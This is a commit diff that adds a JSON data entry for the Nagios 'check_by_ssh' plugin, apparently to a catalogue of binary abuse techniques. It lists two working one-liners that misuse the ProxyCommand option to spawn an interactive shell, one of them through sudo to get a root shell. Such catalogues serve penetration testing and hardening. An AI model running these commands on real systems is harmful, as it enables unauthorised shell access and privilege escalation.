add data source for check_by_ssh

data/check_by_ssh.json

@@ -0,0 +1,17 @@
+{
+  "description": "This is the 'check_by_ssh' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n",
+  "functions": {
+    "shell": [
+      {
+        "description": "The shell will only last 10 seconds.",
+        "code": "check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "The shell will only last 10 seconds.",
+        "code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx"
+      }
+    ]
+  }
+}